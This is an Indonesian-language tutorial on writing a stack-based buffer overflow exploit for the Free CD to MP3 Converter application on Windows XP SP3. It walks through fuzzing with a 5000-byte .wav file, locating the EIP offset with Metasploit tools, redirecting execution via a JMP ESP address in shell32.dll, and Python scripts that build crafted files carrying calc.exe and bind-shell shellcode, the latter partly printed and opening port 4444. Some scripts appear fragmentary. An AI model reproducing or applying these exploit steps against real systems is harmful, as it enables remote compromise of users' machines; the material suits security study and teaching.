Exploit Development
Basic Stack-based Overflow
modpr0be
modpr0be[at]digital-echidna[dot]org
http://www.digital-echidna.org
Program yang saya gunakan untuk eksperimen waktu itu adalah A-PDF All to MP3 Converter,
exploitnya bisa dilihat di Exploit-DB (http://www.exploit-db.com/exploits/15033/)
SEH atau Structured Exception Handler adalah sebuah exception handling bawaan Windows yang akan
mengendalikan program apabila terdapat sebuah exception. Detil mengenai SEH bisa dilihat disitus
Microsoft. SEH pertama kali terdapat pada Windows XP SP1 dan seterusnya sampai Windows XP SP3.
Mengenai proses eksploitasi program dengan memanfaatkan SEH akan saya bahas setelah tutorial
basic stack overflow ini.
Nah, untuk eksperimen basic stack overflow kali ini kita akan coba pada aplikasi Free CD to MP3
Converter. Exploit untuk program ini sudah ada di internet, tepatnya di situs ExploitDB
(http://www.exploit-db.com/exploits/15480/).
hehe justru itu..alangkah baiknya apabila kita tidak hanya sekedar menggunakan exploit yang sudah
jadi. Tapi juga mempelajari bagaimana proses pembuatannya :)
Oiya saya melakukan proses debugging aplikasi Free CD to MP3 Converter pada sistem operasi
Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration) dan scripting python pada
Backtrack Linux 4 R2. Silakan download filenya.
Untuk memulai eksperimen, silakan install aplikasi debugger. Ada beberapa aplikasi debugger seperti
WinDbg, Immunity Debugger, atau OllyDbg. Saya akan menggunakan Immunity Debugger untuk
percobaan ini.
Ketika kita bermain dengan Buffer Overflow, pengetahuan tentang CPU Register wajib diketahui.
Sebuah CPU berbasis Intel x86 menggunakan 8 register sebagai tujuan umum, yaitu: EAX, EDX, ECX, ESI,
EDI, EBP, ESP dan EBX.
Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang
memungkinkan CPU untuk memproses informasi secara efisien.
Register EAX, digunakan untuk melakukan perhitungan serta menyimpan nilai kembali dari
pemanggilan fungsi (function calls). Operasi dasar seperti menambah, mengurangi, dan
membandingkan dioptimalkan pada penggunaan register EAX. Khusus operasi lainnya seperti
perkalian dan pembagian juga hanya di dalam register EAX.
Register EDX adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk
(membantu) menyimpan data tambahan untuk operasi kompleks. Hal tersebut juga dapat digunakan
untuk general purpose data storage.
Aplikasi Free CD to MP3 Converter akan crash ketika membuka file berekstensi .wav yang berisi
karakter "A" sebanyak 5000 karakter. Lho? Tau darimana? Baiklah, karena memang saya melompati
bagian tersebut, tapi tidak ada salahnya dibahas sedikit :)
Sebelumnya pembuat exploit Free CD to MP3 Converter pasti melakukan yang namanya Fuzzing.
Fuzzing dilakukan untuk melakukan test terhadap sebuah program dan mencari anomali fungsi,
kemampuan program dalam mengatasi error, atau input yang berlebihan, penggunaan yang tidak
wajar dan lainnya dari program tersebut. Nah untuk proses kali ini dinamakan File Format Fuzzing,
karena pembuat exploit Free CD to MP3 Converter menemukan bahwa jika file berekstensi wav diisi
dengan karakter A sebanyak 5000 karakter maka aplikasi tidak bisa mengatasi file tersebut dan segera
berakhir dengan crash.
Ok, setelah mengetahui tentang fuzzing, mari kita coba buat file crash.wav tersebut dengan script
python.
#!/usr/bin/python
filename = “crash.wav”
junk="A" * 5000
file=open(filename,'w')
file.write(junk)
print "[+] File”,filename,created successfully.."
file.close()
Simpan script diatas dengan nama crash.py (atau apa pun namanya) lalu jalankan script python diatas:
Maka file crash.wav akan terbentuk dan berisi 5000 karakter "A". Bukalah dengan aplikasi Free CD to
MP3 Converter, lalu pilih WAV to MP3 (atau WAV to OGG), pilih file crash.wav, maka aplikasi tersebut
Nah agar buffer overflow bisa kita kontrol, kita harus menguasai alur eksekusi dari aplikasi. Caranya
adalah dengan menguasai Instruction Pointer (atau Program Counter, dikenal dengan nama EIP, ingat?),
yang merupakan bagian dari CPU registers. Instruction Pointer akan berisi perintah yang diekseskusi
saat ini dan yang akan dieksekusi selanjutnya.
Misalkan sebuah aplikasi memanggil fungsi dengan parameter tertentu. Sebelum pergi ke fungsi
tersebut, ia akan menyimpan lokasi saat ini di Instruction Pointer (jadi dia tahu kapan kembali ketika
fungsi selesai). Jika kita dapat memodifikasi nilai dalam pointer ini, dan mengarahkan ke sebuah lokasi
di memori yang berisi sepotong kode milik kita sendiri, maka kita dapat mengubah aliran aplikasi dan
membuatnya mengeksekusi sesuatu (perintah pada OS?) selain kembali ke tempat asalnya.
Kode yang kita jalankan setelah berhasil mengendalikan aliran ini sering disebut sebagai "shellcode".
Jadi jika kita membuat aplikasi menjalankan shellcode kita, kita dapat menyebutnya sebagai exploit.
Dengan kata lain, pointer ini disebut sebagai EIP. Ukuran register ini adalah 4 bytes (32 bits). Jadi, jika
kita dapat memodifikasi 4 bytes tersebut, kita menguasai aplikasi (dan komputer yang menjalankannya
:D).
Ok kembali ke topik, tadi kita sudah membuat aplikasi Free CD to MP3 Converter crash secara kasar,
tapi kita tidak tahu apa yang sebenarnya terjadi. Untuk itulah kita akan menggunakan debugger,
silakan jalankan Immunity Debugger dan aplikasi Free CD to MP3 Converter, lalu attach proses aplikasi
Free CD to MP3 Converter tersebut.
Nah, access violation terjadi. Bisa kita lihat, ruang stack (ESP) penuh dengan 41414141 (41 dalam hex
berarti karakter A). Register EIP (masih ingat?) juga tertimpa dengan karakter A.
Apa artinya ini? Yup, artinya kita bisa mengambil alih aplikasi dan sistem operasi yang menjalankan
aplikasi ini :D kejadian ini juga bisa dibilang buffer overflow atau stack overflow.
Catatan penting, bahwa pada sistem Intel x86, sebuah alamat akan ditulis dalam format little-endian
(dibaca terbalik). Jadi ketika terlihat diatas sebagai 41414141 berarti tetap dibaca sebagai AAAA, namun
apabila EIP tertimpa dengan karakter ABCD (41424344) berarti menjadi 44434241 (DCBA).
Karena file crash.wav hanya terdiri dari karakter A, kita tidak tahu ukuran byte yang tepat untuk
menimpa EIP. Dengan mengetahui ukuran yang tepat, kita bisa memberikan instruksi selanjutnya
(secara tepat) kepada aplikasi dan mengarahkan ke shellcode yang kita sediakan. Ukuran buffer yang
tepat ini biasa disebut dengan "offset".
Untuk mencari ukuran buffer yang tepat, biasanya bisa dengan membelah ukuran 'sampah' yang kita
siapkan. Tadi kita mengirim 5000 karakter A, kita bisa mulai membelahnya menjadi 2500 A dan 2500 B.
Apabila EIP dan Stack tertimpa dengan karakter B, berarti EIP ada disekitar buffer 2500 - 5000. Kita
bisa pecah lagi dengan 2500 karakter A, 1250 karakter B dan 1250 karakter C, jika EIP dan Stack
tertimpa dengan karakter C berarti kita tahu EIP ada di sekitar buffer 3750-5000. Begitu seterusnya
sampai kita menemukan berapa bytes yang diperlukan untuk menimpa 4 bytes EIP.
Cara paling gampang adalah dengan tool canggih bawaan Metasploit. Ada 2 buah tool, yang pertama
pattern_create.rb dan kedua pattern_offset.rb.
Script pattern_create.rb akan melakukan generate karakter acak sebanyak yang kita inginkan. Setelah
root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rb 5000
Silakan edit script python dan isikan hasil generate dari pattern_create.rb ke junk.
#!/usr/bin/python
filename = “crash-random.wav”
EIP sekarang tertimpa dengan 31684630 (jika di convert ke ASCII menjadi 1hF0), kita bisa menggunakan
pattern_offset.rb untuk mencari jumlah buffer yang tepat.
Ok EIP tertimpa dengan karakter 1hF0 atau 0x31684630 setelah bytes ke 4112. Kita perlu juga mencari
tahu, stack pointer (ESP) tertimpa setelah bytes ke berapa. Pada awal dari ESP terdapat karakter Fh2F
(atau dalam hex 0x46683246), dengan menggunakan pattern_offset.rb, kita bisa tahu setelah bytes
keberapa ESP tertimpa dengan random karakter Metasploit.
Ok, beda 4 bytes dari EIP. Saya persingkat kesimpulannya menjadi sebagai berikut.
EIP akan tertimpa setelah bytes ke 4112 (4 bytes berikutnya berarti isi dari EIP). Jadi ketika kita
#!/usr/bin/python
filename = “eip-crash.wav”
file=open(filename,'w')
file.write(junk+eip+espdata)
print "[+] File”,filename,”created successfully.."
file.close()
Script diatas akan membentuk file eipcrash.wav, attachlah dengan debugger dan bukalah kembali
dengan Free CD to MP3 Converter.
Sesuai dengan yang kita inginkan, EIP tertimpa dengan 0x42424242 (karakter B dalam hex). Apakah
ESP juga sesuai, berisi karakter C(0x43434343)? Bisa dilihat bahwa di ESP telah terjadi penambahan
karakter C dimulai dari address 0x0012FAB0 Kita bisa Follow in Dump untuk melihat lebih jelas (Klik
kanan pada ESP --> Follow in Dump).
Perlu diingat juga, saya melakukan tahap ini di VMware Player dengan Windows XP SP3 versi NIST
FDCC, bisa jadi di tempat teman-teman hasilnya berbeda dengan saya. Jadi verifikasi ulang sesuai
dengan yang ada di tempat teman-teman.
Kita berhasil menguasai EIP, berarti kita bisa mengalihkan alur aplikasi ke shellcode yang kita sediakan.
Tapi seberapa luas “lahan” yang dibutuhkan untuk “mendaratkan” sebuah shellcode? Apabila hanya
sekedar memunculkan aplikasi Calculator (calc.exe) biasanya dibutuhkan sekitar 300-400 bytes, tapi
untuk sebuah Bind Shell, biasanya sekitar 500-700 bytes, begitu pula dengan Reverse Shell.
Nah, seberapa luaskah “lahan” yang ada pada memory? Kalau kita perhatikan tadi, ESP dimulai pada
alamat 0x0012FAB0, dimanakah berakhirnya? Setelah ditelusuri (turun aja terus kebawah), ternyata
karakter C berakhir pada alamat 0x0012FE20. Sebesar itulah memory yang bisa kita timpa dengan
karakter C, berarti FE20 - FAB0 = 379 = 880 bytes. Jumlah yang cukup untuk "mendaratkan" shellcode :)
Kita telah menemukan jumlah yang cukup, dan ESP sebagai tempat untuk “mendaratkan” shellcode.
Bagaimana cara menemukan return address?
Kita akan menggunakan instruksi JMP atau CALL ke ESP (jmp esp atau call esp). Alamat ini bersifat
statik. Melakukan “loncatan” (jump) ke ESP adalah hal yang umum pada aplikasi Windows. Apalagi
aplikasi di Windows memiliki beberapa DLL, dan karena menjadi hal yang umum, instruksi ini akan
dengan mudah ditemukan pada DLL aplikasi tersebut. Jadi cara kerjanya, kita akan menimpa alamat EIP
dengan alamat CALL/JMP esp, dengan begitu ketika EIP tertimpa, maka dia akan membaca instruksi
CALL/JMP ESP dan membawa kita ke ESP.
Ok, sekarang bagaimana kita mencari opcode dari "call/jmp esp" ini? Ada beberapa cara, kita bisa
mencarinya dengan Ctrl-F pada debugger, atau menggunakan tool seperti findjmp, memjump, dan
pvefindaddr (tool buatan Peter Van Eeckhoutte dari CorelanCoder)
Tahap ini saya akan mencoba dengan dua cara, yang pertama secara manual dan yang kedua
menggunakan tool.
Yang pertama, seperti saya tuliskan tadi bahwa ada banyak instruksi JMP ESP karena memang menjadi
sesuatu yang umum. Instruksi ini biasanya ada di DLL atau di program itu sendiri (executable). Cara
mencarinya, pilihlah opsi Executable Modules (ditandai dengan huruf 'e' di toolbar) pada Immunity
Debugger.
Ingat, alamat ini mungkin berbeda pada PC teman-teman, bisa karena Service Pack atau Language dari
Sistem Operasi.
Saya juga menggunakan tool buatan Peter Van Eeckhoutte, pvefindaddr.py. Cara menginstallnya
tinggal taruh file pvefindaddr.py di folder PyCommands (C:\Program Files\Immunity Inc\Immunity
Debugger\PyCommands), lalu pada kolom command bisa diketik !pvefindaddr, hasilnya akan keluar
pada window Log (Alt+L).
!pvefindaddr j -reg esp -n <yup, yang di depan itu tanda seru (!)>
Tool ini akan membuat list file yang berisi instruksi CALL/JMP ESP pada direktori C:\Program
Files\Immunity Inc\Immunity Debugger\, nama filenya j.txt. Saya mengambil satu instruksi JMP ESP
pada module shell32.dll.
Ok, sekarang kita edit lagi script kita dan tambahkan instruksi JMP ESP:
filename = “eip-skeleton.wav”
file=open(filename,'w')
file.write(junk+eip+espdata)
print "[+] File”,filename,”created successfully.."
file.close()
Kenapa instruksi JMP ESP ditulis terbalik? Masih ingat kan kenapa? :D
Saya menambahkan “break instruction” (\xcc) pada script diatas yang berfungsi sebagai “pause” agar
kita bisa menganalisa proses debugging.
Jalankan script diatas, maka akan menghasilkan file eip-skeleton.wav. Jalankan debugger dan load lagi
(attach) program Free CD to MP3 Converter. Kali kita akan melakukan breakpoint terhadap posisi
opcode JMP ESP agar kita mengetahui dengan pasti bahwa EIP tertimpa dengan opcode JMP ESP dari
shell32.dll. Untuk melakukan breakpoint, kita lakukan lagi pencarian seperti mencari intruksi JMP ESP
diatas.
Ok, sekarang kita akan load file eip-skeleton.wav dan kita akan memastikan beberapa hal:
Breakpoint at shell32.7CC86237
Karena terjadi breakpoint maka debugger melakukan Paused, terhadap situasi ini. Untuk
melanjutkannya bisa menekan F7 dan memastikan apakah pertanyaan ketiga bisa terjawab.
Setelah melakukan F7, ternyata proses eksekusi beralih ke alamat 0x0012FAB2 yaitu tempat dimana
“break instruction” kita berada. Dan apabila kita terus menekan F7, sampailah kita pada espdata yang
berisi karakter “C” (\x43). Apabila kita mengganti karakter “C” (\x43) dengan shellcode, maka shellcode
akan tereksekusi dengan baik.
Istilah ini akan sering didengar kalau kita mainan exploit. Saya kutip sedikit dari Wikipedia:
Jika saya jelaskan berdasarkan apa yang saya garis bawahi, maka jadinya begini:
Shellcode adalah sebuah kode-kode kecil yang dipakai sebagai payload, biasanya akan menghasilkan
sebuah command prompt/shell dan ditulis dengan bahasa mesin (assembly).
Jadi shellcode ini tidak lain hanyalah sebuah kode, sebuah kode yang memanggil program lain dalam
sistem operasi.
Jadi bisa dong klo kita manggil program Internet Explorer? Atau Notepad?
Bisa, tapi apa keuntungan hacker memanggil Notepad.exe dalam proses eksploitasi? Tidak ada khan?
Maka dari itu, biasanya hacker akan memanggil cmd.exe (Command Prompt) dan memaksa cmd.exe di
akses dari jauh. Biasanya proses ini disebut dengan spawning shell. Spawning shell ini bisa terjadi
dalam 2 mode koneksi, mode reverse dan mode bind.
Bind Shell
Bind shell adalah sebuah mode spawning shell yaitu mengeksekusi cmd.exe dan mengirimkan stdout
(standard input/output) dari cmd.exe milik target ke shell milik hacker. Ketika proses eksploitasi sudah
terjadi, shellcode membuka sebuah port (yang ditentukan oleh attacker) dan memanggil cmd.exe. Jadi
si hacker tinggal melakukan koneksi ke port yang sudah terbuka di komputer milik target. Metode ini
memiliki kekurangan apabila pada sistem target terdapat Firewall.
Reverse Shell
Reverse shell adalah sebuah mode spawning shell atau istilah lainnya, mengeksekusi cmd.exe dan
mengirimkan stdout (standard input/output) dari cmd.exe ke shell-nya hacker. Jadi si hacker tinggal
menunggu koneksi dari port yang sudah ia buka. Nah metode ini biasanya dipakai untuk bypass
Firewall (tentunya dalam hal ini, akses keluar dari jaringan internal diperbolehkan).
Seperti yang dikatakan sebelumnya, shellcode tidak hanya bisa memanggil cmd.exe, tapi juga bisa
memberikan perintah baru ke sistem operasi. Misalkan, shellcode untuk menambahkan user, shellcode
untuk melakukan download, shellcode untuk mematikan komputer, dan lainnya.
Sebagai percobaan, kita akan coba membuat program Free CD to MP3 Converter mengeluarkan
program Calculator setelah eksploitasi. Kali ini kita akan pakai shellcode yang di generate
menggunakan program Metasploit.
Shellcode diatas akan mengeksekusi calc.exe sehingga setelah terjadi proses buffer overflow, aliran
eksekusi (EIP) yang sudah kita kuasai akan membawa kita ke register ESP (ingat? EIP sudah kita isi
dengan perintah JMP ESP) dan di register ESP sudah menunggu shellcode calc.exe.
#!/usr/bin/python
filename = "skeleton-calc.wav"
Kalau diperhatikan, saya menambahkan “\x90” disana, ya itu adalah sebuah NOP atau No Operation.
Dalam pembuatan exploit, NOP sangat sering dipakai apabila kita tidak tahu pasti jika sebuah shellcode
“mendarat” pada byte yang tepat, sehingga NOP sering dipakai sebagai “landasan” untuk memastikan
bahwa byte selanjutnya yang dieksekusi adalah shellcode.
Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa
exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.
Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi
shellcode.
Kita berhasil mendarat pada alamat JMP ESP yaitu 7CC86237. Selanjutnya apakah perintah JMP ESP
membawa kita kepada 16 NOP? Tekan F7 untuk melanjutkan eksekusi (Follow).
Sesuai! Kita mendarat pada 16 NOP dan setelah ke-16 NOP tersebut tereksekusi, maka kita tiba di
shellcode. Tekan terus F7 sampai perintah looping terjadi. Perintah ini terus berulang (looping) karena
encoder, ingat tadi kita menjalankan msfencode untuk meng-encode shellcode tersebut, proses
looping ini menandakan bahwa shellcode sedang di-decode.
Perhatikan perintah CLD, berikan Breakpoint disitu karena perintah tersebut adalah awal dari
shellcode yang kita buat.
Owned!
Setelah berhasil dengan program calculator, kita akan coba untuk membuka port di komputer korban
dan melakukan koneksi lewat port tersebut. Payload ini biasa disebut dengan bind shell.
#!/usr/bin/python
filename = "skeleton-calc.wav"
shellcode = (
"\xba\xb4\x91\x56\x34\xd9\xea\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x56\x83\xed\xfc\x31\x55\x0f\x03\x55\xbb\x73\xa3\xc8\x2b\xfa"
"\x4c\x31\xab\x9d\xc5\xd4\x9a\x8f\xb2\x9d\x8e\x1f\xb0\xf0\x22"
"\xeb\x94\xe0\xb1\x99\x30\x06\x72\x17\x67\x29\x83\x99\xa7\xe5"
"\x47\xbb\x5b\xf4\x9b\x1b\x65\x37\xee\x5a\xa2\x2a\x00\x0e\x7b"
"\x20\xb2\xbf\x08\x74\x0e\xc1\xde\xf2\x2e\xb9\x5b\xc4\xda\x73"
file=open(filename,'w')
file.write(junk+eip+nops+shellcode+espdata)
print "[+] File",filename,"created successfully.."
file.close()
Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa
exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.
Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi
shellcode.
Tekan F7 untuk mengikuti proses eksekusi, lakukan hal yang sama seperti pada proses shellcode
calculator. Pada awal shellcode (CLD), tekan F9 dan proses seperti terhenti. Namun apabila kita melihat
dengan netstat, terlihat port 4444 sedang terbuka.
Penutup
Bagaimana, menyenangkan kan bermain dengan buffer overflow? Apa yang saya jelaskan diatas
merupakan tahap awal untuk melangkah ke tingkat yang lebih kompleks dan membutuhkan kreatifitas
kita dalam berpikir.
Beberapa tehnik yang lain seperti SEH Based Overflow, Unicode Escape Stack Overflow, Heap Overflow,
Bypass ASLR and DEP, dan beberapa tehnik untuk meloloskan diri dari space yang kecil.
Tehnik-tehnik diatas sebenarnya hanya merupakan trik bagaimana memanfaatkan celah yang ada.
Setelah semakin sering bermain dengan exploit, bahasa assembly, dan scripting saya yakin sebuah
pola kreatifitas akan terbentuk dengan sendirinya. Belajar untuk menganalisa satu-per-satu proses
yang sedang berjalan pada akhirnya juga merupakan inti dari hacking & security yang selama ini kita
geluti.
Semoga dengan adanya tutorial ini semakin memacu teman-teman untuk lebih kreatif, dan menghargai
hasil yang dikeluarkan oleh otak dan niat kita.